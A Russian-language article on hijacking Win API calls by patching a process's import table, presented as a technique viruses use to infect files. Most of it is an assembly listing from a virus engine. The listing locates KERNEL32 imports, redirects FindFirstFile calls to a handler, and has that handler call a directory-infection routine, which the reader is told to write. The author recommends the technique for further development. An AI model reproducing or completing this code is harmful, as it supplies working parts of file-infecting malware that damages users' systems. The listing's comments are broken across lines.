Существует несколько способов перехвата Win API функций:

  1. Использование хуков.
  2. Подмена адресов функций в памяти процесса.

Первый способ часто используется в антивирусных программах, в программах
которым необходим контроль за какими-то системными событиями. Второй способ это
так называемая "резидентность на процесс", данная техника довольно часто в
последнее время используется в вирусах. 

Но потенциал данной техники не ограничивается использованием в компьютерных
вирусах. Например, её можно использовать в вакцинах, навесных защитах, а так же
во многих других областях.

Вначале разберёмся, что такое "резидентность на процесс" и как данная техника
используется в компьютерных вирусах.

Когда запускается заражённая программа, вначале управление получает вирус.
Он обнаруживает секцию импортов данной программы в памяти и подменяет адреса
некоторых системных функций на адреса своих подпрограмм. И передаёт управление
оригинальной программе. Когда оригинальная программа пытается выполнить одну из
перехваченных системных функций, то управление получает вирусная подпрограмма.
Данная подпрограмма чаще всего заражает файл, который передаётся в качестве 
параметра системной функции и возвращает управление настоящей системной функции.

В основном перехватываются такие WIN API функции, как:

  • CreateFileA, CreateFileW
  • FindFirstFileA, FindFirstFileW
  • FindNextFileA, FindNextFileW
  • CopyFileA, CopyFileW
  • и другие

Из вышесказанного мы можем для себя определить, что в резидентности на 
процесс самое важное это получение параметров (имён файлов). Но так ли это?
Стоит отметить, что функции FindFirstFileA и FindFirstFileW в качестве
параметров поиска файлов передают директорию для поиска,
что может использоваться гораздо более эффективно. Вы наверное спросите, а как часто
вызываются данные функции? Все наверное знают такую программу, как
cmd.exe. Данная программа запускает консоль в системах семейства Windows NT. Так вот,
при использовании команды "dir" - запускаются описанные выше функции. Но
это только цветочки. Все видели и знают диалоги открытия и сохранения файла,
там то же используются функции FindFirstFileA и FindFirstFileW. Это говорит
о том, что если их перехватить, то все часто используемы директории окажутся
под контролем ваше программы.

Теперь я думаю, что стоит перейти к практической части данного текста.

Вначале определимся с алгоритмом:

  1. Найти в памяти секцию импортов.
  2. Найти в памяти место хранения адреса необходимой функции,
    сохранить его в переменной и заменить своим адресом.
  3. После обработки директории передать управление оригинальной функции.

Теперь мы можем рассмотреть пример использования данной технологии на примере
мотора APPR.

Перейдём к листингу:

; FOR MS WINDOWS ;
; ;
; BY SL0N ;
;---------------------------------------------;
; MANUAL: ;
; ;
; OFFSET OF RESIDENT PROC -> EAX ;
; IMAGE BASE -> EBX ;
; CALL HOOKALLAPIS ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
HookAllAPIs:
mov [ebp+i_base],ebx
mov [ebp+f_addr2],eax
lea edi,[ebp+Hookz] ;
Указатель на первую API
nextapi:
push edi ;
Сохраняем указатель
call GetAPI_IT ;
Получаем адрес ф-ии
pop edi ;
Восстанавливаем указатель
jc Next_IT_Struc_ ;
Ошибка, плохо !
;
eax = API адрес
;
ebx = Указатель API адрес
;
в таблице импортов

xor al,al ; Определяем конец API строки
scasb ;
jnz $-1 ;

mov eax,[edi] ; Получаем смещение 
; обработчика
add eax,ebp ;
Добавляем дельта смещение
mov edx,[ebx] ;
Кладём старый адрес в edx
mov [ebp+f_addr],edx ;
И сохраняем его в 
;
переменной
mov [ebx],eax ;
Новый адрес кладём в импорт
Next_IT_Struc:
add edi,4 ;
Переходим к следующему 
;
элементу
cmp byte ptr [edi],"" ;
Это последняя API
jz AllHooked ;
Мы перехватили всё ?
jmp nextapi ;
Перехватываем дальше
AllHooked:
ret ;
Возврат из подпрограммы
Next_IT_Struc_:
xor al,al ;
Получаем
scasb ;
конец строки
jnz $-1 ;
jmp Next_IT_Struc ;
И возвращаемся назад
;---------------------------------------------;
HookFindFirstFile:
call DoHookStuff ;
Вызов обработчика

db 0b8h ; mov eax,old_API_address
f_addr dd 0h ;

jmp eax ; Возврат управления 
;
оригинальной функции
;---------------------------------------------;
DoHookStuff:
pushad ;
Сохраняем все регистры
pushfd ;
и флаги

call dir_Infect ; Инфицируем директорию

db 0b8h
f_addr2 dd 0 
call eax

popfd ; Восстанавливаем всё
popad ; 

ret ; Возврат из подпрограммы
;---------------------------------------------;
GetAPI_IT: 
mov [ebp+API_name],edi ;
Сохраняем указатель на
;
имя функции
mov ebx,edi ;
xor al,al ;
Ищем
"\0"

scasb ;
jnz $-1 ;
sub edi,ebx ;
Получаем длину имени
mov [ebp+API_size],edi ;
функции и сохраняем её

xor eax,eax ; Обнуляем eax
mov esi,[ebp+i_base] ;
Кладём в esi imagebase
add esi,3Ch ;
Добавляем к esi - 3Ch
lodsw ;
Получаем PE заголовок
add eax,[ebp+i_base] ;
Добавляем к eax базу
xchg esi,eax ;
lodsd ;

cmp eax,"EP" ; Проверяем это PE файл
jnz nopes ;
Нет, плохо!

add esi,7Ch ;
lodsd ;
Получаем адрес
push eax ;
lodsd ;
EAX = Размер
pop esi ;
add esi,[ebp+i_base] ;

SearchK32:
push esi
mov esi,[esi+0Ch] ;
esi = указатель на имя
add esi,[ebp+i_base] ;
Добавляем базу
lea edi,[ebp+K32_DLL] ;
Указатель на "KERNEL32.dll"
mov ecx,13 ;
ecx = размер строки
cld ; 
push ecx ;
Сохраняем ecx
rep cmpsb ;
Сравниваем строки
pop ecx ;
Восстанавливаем ecx
pop esi ;
Восстанавливаем указатель
;
на секцию импортов
jz gotcha ;
Если совпало, переходим
add esi,14h ;
Берём другое поле
jmp SearchK32 ;
И сравниваем
gotcha:
cmp byte ptr [esi],00h ;
Это OriginalFirstThunk 0?
jz nopes ; Нет, плохо !
mov edx,[esi+10h] ;
Получаем FirstThunk 
add edx,[ebp+i_base] ;
Добавляем базу
lodsd
or eax,eax ;
Равно нулю? 
jz nopes ;
Плохо...

xchg edx,eax ; Получаем указатель на него!
add edx,[ebp+i_base] ;
xor ebx,ebx ;
loopy:
cmp dword ptr [edx],00h ;
Последний
RVA?

jz nopes ;
cmp byte ptr [edx+03h],80h ;
Ординал ?
jz reloop

mov edi,[ebp+API_name] ; Получаем указатель на имя 
mov ecx,[ebp+API_size] ;
Получаем длину имени
mov esi,[edx] ;
Получаем текущую функцию
add esi,[ebp+i_base] ;
из секции импорта
inc esi
inc esi
push ecx ;
Сохраняем её размер
rep cmpsb ;
Сравниваем строки
pop ecx ;
Восстанавливаем размер
jz wegotit
reloop:
inc ebx ;
Увеличиваем счётчик
add edx,4 ; Получаем указатель на
loop loopy ;
другую ф-ию и сравниваем
wegotit:
shl ebx,2 ;
Умножаем на 4
add ebx,eax ;
Добавляем в FirstThunk 
mov eax,[ebx] ;
eax = API адрес
test al,0 ;
Это для обхода jmp'a
org $-1 ; 
nopes:
stc ;
Ошибка !
ret ;
Возврат из подпрограммы
;---------------------------------------------;
Hookz:
db "FindFirstFileW",0 ;
dd (offset HookFindFirstFile) ; 
;
db "FindFirstFileA",0 ;
dd (offset HookFindFirstFile) ;
Массив структур для
;
перехвата API функций
db "FindFirstFileEx",0 ;
dd (offset HookFindFirstFile) ;
;
db "" ;
Конец массива
;---------------------------------------------;
i_base dd 0
API_name dd 0
API_size dd 0
K32_DLL db 'KERNEL32.dll',0
;---------------------------------------------;

Подпрограмма infect_dir должна быть написана вами самостоятельно.
По моему у данной техники имеются огромные перспективы развития. Необходимо сказать, что
в данной статье использовались материалы из туториала Billy
Belcebu.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии